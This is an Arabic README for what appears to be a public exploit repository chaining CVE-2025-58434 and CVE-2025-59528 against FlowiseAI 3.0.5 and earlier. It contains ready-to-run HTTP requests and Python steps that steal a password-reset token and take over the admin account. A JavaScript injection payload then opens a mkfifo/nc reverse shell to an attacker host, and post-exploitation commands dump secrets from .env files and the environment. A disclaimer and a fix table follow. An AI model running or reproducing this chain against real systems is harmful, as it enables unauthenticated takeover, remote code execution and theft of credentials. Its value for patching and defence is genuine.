
سلسلة قتل حرجة غير مصادق عليها تؤدي إلى تنفيذ كامل للأوامر عن بُعد (RCE) في FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
استيلاء غير مصادق على الحساب مقترن بتنفيذ تعليمات برمجية عن بُعد ضد FlowiseAI
<= 3.0.5.
اختراق كامل للحاوية في أقل من 5 ثوانٍ، بدون حاجة لأي بيانات اعتماد.
يسار: صفحة تسجيل الدخول لـ FlowiseAI — يمين: شل الجذر عبر CVE-2025-59528 · uid=0(root)
يستغل هذا الكود ثغرتين مستقلتين حرجتين في هجوم واحد آلي بالكامل. لا تضمن أي من الثغرتين وحدها الاختراق الكامل — لكن معًا، تشكلان سلسلة قتل كاملة من عدم وجود بيانات اعتماد إلى شل الجذر داخل حاوية Docker.
[بدون بيانات اعتماد]
│
▼
① استغلال نقطة نهاية forgot-password (لا يتطلب مصادقة)
│ → يستجيب الخادم برمز إعادة تعيين الضحية بنص عادي
▼
② إرسال الرمز إلى نقطة نهاية reset-password
│ → يتحكم المهاجم في كلمة مرور المسؤول
▼
③ تسجيل الدخول + استخراج مفتاح Bearer API
│ → إنشاء جلسة مصادقة كاملة
▼
④ إرسال حمولة JavaScript عبر عقدة customMCP
│ → يقوم الخادم بتقييمها عبر مُنشئ Function()
▼
[شل الجذر داخل حاوية Docker]
ما يجعله بدون تفاعل: لا يتلقى الضحية في أي وقت بريدًا إلكترونيًا، أو يرى تنبيه تسجيل دخول، أو يحدث أي حدث مرئي. الهجوم بالكامل من جهة الخادم.
CVSS 3.1: 9.8 حرج — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثر: FlowiseAI <= 3.0.5 (سحابي + مستضاف ذاتيًا)
التنبيه: GHSA-wgpv-6j63-x5ph
لدى FlowiseAI مفهوم "الطلبات الداخلية" — استدعاءات API بين خدماتها الخاصة — يتم التعرف عليها عبر رأس HTTP x-request-from: internal. تستخدم نقطة النهاية /api/v1/account/forgot-password هذا الرأس لتخطي المصادقة تمامًا وإرجاع رد أكثر تفصيلاً مما سترد به للمتصلين الخارجيين.
المشكلة: لم يتم التحقق من صحة هذا الرأس أو تقييده بأي شكل. يمكن لأي مهاجم على الإنترنت إرساله. عند القيام بذلك، بدلاً من تشغيل بريد إلكتروني لإعادة تعيين كلمة المرور، تستجيب API بسجل المستخدم الكامل — بما في ذلك tempToken حي يمكن استخدامه فورًا لتعيين كلمة مرور جديدة.
عادةً، يبدو تدفق إعادة تعيين كلمة المرور كما يلي:
يطلب المستخدم إعادة تعيين → يُنشئ الخادم رمزًا → يُرسل الرمز عبر البريد الإلكتروني → ينقر المستخدم على الرابط → تتغير كلمة المرور
هنا، يتخطى الخادم خطوة البريد الإلكتروني تمامًا ويضع الرمز مباشرة في نص استجابة HTTP. يلتقط المهاجم الرمز وينتقل فورًا إلى خطوة إعادة التعيين — بدون الحاجة إلى الوصول إلى البريد الإلكتروني.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — كشف سجل المستخدم الكامل{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
ثم يتم إرسال tempToken مباشرة إلى نقطة نهاية إعادة التعيين — بدون تفاعل بريد إلكتروني، بدون CAPTCHA، بدون حد للمعدل.

CVSS 3.1: 10.0 حرج — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
المتأثر: FlowiseAI <= 3.0.5
التنبيه: GHSA-3gcm-f6qx-ff7p
يسمح FlowiseAI للمستخدمين بتعريف عقد MCP (بروتوكول السياق النموذجي) مخصصة مع تكوين الخادم المقدم كسلسلة JSON. داخليًا، تحتاج المنصة إلى تحليل هذا التكوين — وتفعل ذلك باستخدام مُنشئ Function() في JavaScript، والذي يعادل وظيفيًا eval().
تصل سلسلة التكوين إلى نقطة النهاية غير منظفة تمامًا:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — السطر 262
const result = Function('return ' + mcpServerConfig)();
// ↑ إدخال مستخدم غير منقى — تنفيذ جافاسكريبت تعسفي
Function() خطير مثل eval()Function('return ' + code)() يفعل التالي:
code كنصهايمنح هذا المهاجم سياق تنفيذ جافاسكريبت كامل مع الوصول إلى process، require، child_process، وبيئة Node.js runtime بأكملها — وليس صندوق حماية.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← سلسلة يتحكم بها المهاجم
└─ substituteVariablesInString() ← بدون تصفية، يمرر
└─ convertToValidJSONString() ← بدون تصفية، يمرر
└─ Function('return ' + input)() ← ينفذ الكود التعسفي هنا
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
لماذا
mkfifoوليس/dev/tcp؟
الحاوية تشغل/bin/sh، وليس/bin/bash./dev/tcpهو ميزة خاصة بـ bash فقط — غير موجود في أصداف POSIX القياسية. يقومmkfifoبإنشاء أنبوب مسمى يعمل في أي صدفة متوافقة مع POSIX، مما يجعل الشل العكسي محمولاً عبر بيئات الحاوية.
تم تنظيم الاستغلال في أربع خطوات متسلسلة، كل منها تتوافق مباشرة مع مرحلة من سلسلة القتل.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
ما يحدث: يعتقد الخادم أن هذا استدعاء داخلي بين الخدمات بسبب رأس x-request-from: internal. يتخطى مسار إرسال البريد الإلكتروني الطبيعي ويعيد سجل المستخدم الكامل — بما في ذلك رمز إعادة تعيين كلمة المرور الحي — مباشرة في نص استجابة HTTP 201.
لماذا ينجح: التحقق من الرأس هو مجرد سلسلة نصية بدون تحقق تشفيري. يمكن لأي متصل تعيينه. لا يتحقق الخادم من مصدر الطلب.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
ما يحدث: يتم إرسال tempToken المسروق مع كلمة مرور جديدة يختارها المهاجم. يتحقق الخادم من الرمز (وهو حقيقي ونشط)، ويؤكد تطابق البريد الإلكتروني، ويقوم بتحديث تجزئة بيانات الاعتماد — بدون تأكيد بريد إلكتروني، بدون فحص ثانوي.
لماذا ينجح: التحقق من الرمز يتحقق فقط من أن الرمز موجود ولم تنته صلاحيته. لا يتحقق من أن المتصل الذي أنشأ الرمز هو نفسه المتصل الذي يقدم إعادة التعيين. لا يتم التحقق من الملكية مطلقًا.
# تسجيل الدخول بكلمة المرور الجديدة
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# جلب مفتاح Bearer API المطلوب لنقطة نهاية RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
ما يحدث: تسجيل دخول عادي بكلمة المرور الجديدة للمهاجم ينشئ جلسة مدير كاملة (مرتكزة على الكوكيز). ثم تُستخدم الجلسة لجلب مفتاح API الافتراضي للمنصة، المطلوب لمصادقة الطلبات إلى نقطة نهاية node-load-method المستخدمة في الخطوة 4.
لماذا ينجح: في هذه المرحلة، المهاجم هو المسؤول — فهو يمتلك بيانات الاعتماد. يتم إصدار الجلسة ومفتاح API بشكل شرعي من قبل الخادم.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
ما يحدث: الحمولة هي دالة جافاسكريبت ذاتية الاستدعاء (IIFE) متنكرة ككائن متوافق مع JSON. عندما تقوم convertToValidJSONString() بمعالجتها، تقع القيمة داخل Function('return ' + input)() — التي تنفذها كجافاسكريبت حية مع وصول كامل إلى بيئة Node.js runtime. يقوم child_process.exec() بتشغيل أمر الشل العكسي، مما ينشئ اتصالاً عائداً إلى مستمع المهاجم.
لماذا الغلاف IIFE؟ نمط Function('return ' + x) يتوقع أن يكون التعبير قابل للإرجاع. تغليف الكود الضار في ({x: (function(){ ... })()}) يجعل التعبير بأكمله جافاسكريبت صالحة يتم تقييمها لكائن — مما يرضي المحلل اللغوي مع تنفيذ الحمولة كتأثير جانبي.
لماذا nohup + disown؟ طلب HTTP له مهلة زمنية. بدون فصل العملية، ستموت الشل عندما تنتهي المهلة. nohup + disown تفصل الشل العكسي عن عملية Node.js، مما يبقيها حية بشكل مستقل.
# 1. ابدأ المستمع أولاً
nc -lvnp 4444
# 2. شغل سلسلة القتل الكاملة
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. إذا كانت كلمة مرور المسؤول قد أعيد تعيينها بالفعل في محاولة سابقة
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
بمجرد سقوط الشل، عادة ما تعمل الحاوية كجذر مع وصول إلى بيئة تطبيق FlowiseAI الكاملة:
# الأسرار وبيانات الاعتماد
env # مفاتيح API، عناوين URI لقواعد البيانات، بيانات اعتماد الخدمة في متغيرات البيئة
cat .env # ملف تكوين FlowiseAI — كلمات مرور قاعدة البيانات، أسرار JWT
# داخل التطبيق
ls /app/packages/ # هيكل المستودع الأحادي — الكود المصدري، التكوينات، node_modules
cat /app/packages/server/.env
# سياق الحاوية
cat /proc/1/cmdline # ما هي العملية PID 1 — يؤكد بيئة الحاوية
hostname # معرف الحاوية
cat /etc/hosts # خريطة الشبكة الداخلية — خدمات أخرى يمكن الوصول إليها
# أهداف الحركة الجانبية المحتملة
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
تم نشر هذا المستودع وجميع الأكواد المرتبطة به بدقة لأغراض تعليمية وللبحث الأمني المصرح به.
كلا الثغرتين تم الكشف عنهما وتصحيحهما اعتبارًا من FlowiseAI 3.0.6. اختبار الأنظمة التي لا تمتلكها أو التي لا تملك إذنًا كتابيًا صريحًا لتقييمها غير قانوني بموجب القانون المعمول به — بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، وقانون إساءة استخدام الكمبيوتر، وتوجيه NIS2 للاتحاد الأوروبي.
يتنصل المؤلفون من أي مسؤولية عن أي ضرر ناتج عن إساءة استخدام هذه المواد.
0H4K3D · CVE Team
| الخاصية | التفاصيل |
|---|
| بدون حاجة لأي بيانات اعتماد | يبدأ المهاجم بدون شيء سوى عنوان IP الهدف |
| بدون تفاعل من الضحية | لا تصيد، لا نقرة، لا هندسة اجتماعية |
| لا يوجد حد للمعدل | نقطة نهاية إعادة التعيين ليس بها اختناق — يمكن فرضها بالقوة إذا لزم الأمر |
| لا يوجد CAPTCHA | تدفق إعادة التعيين ليس به تحقق بشري |
| لا يوجد تأكيد عبر البريد الإلكتروني | تغيير كلمة المرور فوري، صامت، لا رجعة فيه |
| بيئة Node.js كاملة في RCE | child_process، نظام الملفات، الشبكة — لا صندوق حماية |
| يعمل كجذر في Docker | عادة ما يتم تشغيل الحاوية كجذر، وصول كامل لنظام الملفات |
| يؤثر على السحابي والمستضاف ذاتيًا | أي نشر من <= 3.0.5 معرض للخطر |
| العلامة | الوصف | مطلوب |
|---|
-ip | عنوان IP الهدف | ✅ |
-lhost | عنوان IP الخاص بك لاستدعاء الشل العكسي | ✅ |
-lport | منفذ الاستماع الخاص بك | ✅ |
--skipreset | تخطي CVE-2025-58434 (المرحلتان 1 و2) — استخدم إذا كان الحساب مخترقًا بالفعل | ❌ |
| الإصلاح | الأولوية |
|---|
الترقية إلى FlowiseAI ≥ 3.0.6 | 🔴 فورية |
حظر x-request-from: internal عند الوكيل العكسي — يجب ألا يأتي أبدًا من الإنترنت | 🔴 فورية |
تقييد /api/v1/account/* للجلسات المصادق عليها فقط | 🔴 فورية |
تنظيف mcpServerConfig — لا تمرر إدخال المستخدم مطلقًا إلى Function() أو eval() | 🔴 فورية |
| إضافة تحديد معدل و CAPTCHA لجميع نقاط نهاية إعادة تعيين كلمة المرور | 🔴 فورية |
| عزل مثيل FlowiseAI عن الإنترنت إذا لم يكن التعرض العام مطلوبًا | 🟠 عالية |
| تشغيل الحاوية كمستخدم غير جذر | 🟠 عالية |
| تمكين كشف الشذوذ على نقاط نهاية إعادة تعيين كلمة المرور و MCP | 🟡 متوسطة |
مراجعة جميع نقاط النهاية التي تقبل x-request-from والتحقق من عدم إمكانية استدعائها خارجيًا | 🟡 متوسطة |